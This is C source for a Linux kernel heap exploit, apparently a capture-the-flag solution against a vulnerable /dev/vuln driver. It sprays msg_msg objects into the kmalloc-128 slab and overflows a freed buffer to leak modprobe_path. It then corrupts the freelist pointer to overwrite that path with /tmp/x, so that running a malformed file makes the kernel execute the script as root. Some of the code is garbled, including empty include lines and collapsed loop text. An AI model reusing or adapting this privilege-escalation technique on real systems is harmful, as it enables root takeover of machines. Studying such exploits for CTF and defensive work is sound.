#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PAGE_SIZE 4096 #define SLAB_NAME "kmalloc-128" #define MSG_COPY 040000 int fd = -1; unsigned long modprobe_path = 0; char* script_path = "/tmp/x\x00"; unsigned long queue; int qid[4]; void open_dev(){ fd = open("/dev/vuln", O_RDWR); if(fd < 0){ puts("[!] Error opening device"); exit(-1); } puts("[*] Opened device"); } void dev_write(char* buf, size_t n){ if(write(fd, buf, n)<0) { puts("[!] Error writing to device"); //exit(-1); } else { puts("[*] Wrote to device"); } } #define HEADER_SZ 48 #define MSIZE 128-HEADER_SZ struct { long mtype; char mtext[MSIZE]; } msg; int make_q(int type) { msg.mtype = type; int id = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); if(id == -1) { perror("msgget"); return -1; } return id; } void send_msg(int qid, int size, int c) { size_t msize = size - HEADER_SZ; struct { long mtype; char mtext[msize]; } msg; msg.mtype = 1; memset(msg.mtext, c, msize); msg.mtext[msize-1] = 0; if(msgsnd(qid, &msg, msize, 0) == -1) { perror("msgsnd"); exit(1); } } void hex_dump(char *buff, unsigned long size) { int i,j; for (i = 0; i < size/8; i++) { if(i % 2 == 0) { if (i != 0) printf(" \n"); printf(" %04x ", i*8); } unsigned long ptr = ((unsigned long *)(buff))[i]; printf("0x%016lx", ptr); printf(" "); } printf("\n"); } void check_slab(char *slab_name, int *active, int *total) { FILE *fp; char buff[1024], name[64]; int active_num, total_num; fp = fopen("/proc/slabinfo", "r"); if (!fp) { perror("fopen"); return; } while (fgets(buff, 1024, fp) != NULL) { sscanf(buff, "%s %u %u", name, &active_num, &total_num); if (!strcmp(slab_name, name)) { *active = active_num; *total = total_num; return; } } } void print_slab_info() { int total_num, active_num; check_slab(SLAB_NAME, &active_num, &total_num); printf("[+] Checking slab total: %d active: %d free: %d\n", total_num, active_num, total_num-active_num); } void warm_heap(int n) { memset(msg.mtext, 0x69, MSIZE-1); msg.mtext[MSIZE-1] = 0; msg.mtype = 2; int msqids[n]; size_t i; printf("[*] Allocating %d msg_msg\n", n); for(i=0; i (B) k4096 header msg_next --> k4096 data * 3 socket -> modprobe leak **/ char buff[80]; // free and replace message with victim buffer to overflow msgrcv(qid[0], buff, 80, 1, MSG_NOERROR | IPC_NOWAIT); dev_write((char*)evil, evilsz); puts("[*] Wrote into freed buffer"); char* leaked = (char*)calloc(leak_sz, 1); int res = msgrcv(qid[1], leaked, leak_sz, 0, MSG_COPY | IPC_NOWAIT); if(res>80) { //hex_dump(leaked, leak_sz); unsigned long leaked_addr[leak_sz/sizeof(unsigned long)]; memcpy(leaked_addr, leaked, leak_sz); printf("[*] Modprobe_path: 0x%lx\n", leaked_addr[32]); modprobe_path = leaked_addr[32]; } else { puts("[!] Error overwriting m_ts "); } } void make_script() { system("echo '#!/bin/sh\ncp /root/flag /home/ctf/flag\nchmod 777 /home/ctf/flag' > /tmp/x "); system("chmod +x /tmp/x"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); } void arb_write() { memset(evil, 0, 50*sizeof(unsigned long)); for(size_t i=0; i<12; i++){ evil[i] = 0xa; // make driver stop parsing params } evil[24] = modprobe_path-48; evil[40] = modprobe_path-48; evil[56] = modprobe_path-48; puts("[*] Overwriting freelist pointer"); warm_heap(80); dev_write((char*)evil, sizeof(unsigned long)*56); struct { long mtype; char mtext[MSIZE]; } msg; msg.mtype = 3; memset(msg.mtext, 0x0, MSIZE); memcpy(msg.mtext, script_path, 6); for(size_t i=0; i<30; i++){ if(msgsnd(qid[2], &msg, MSIZE, 0) == -1) { perror("msgsnd"); exit(1); } } } int main() { open_dev(); leak(); if(modprobe_path) { arb_write(); make_script(); } else { puts("[*] Offset not found"); } }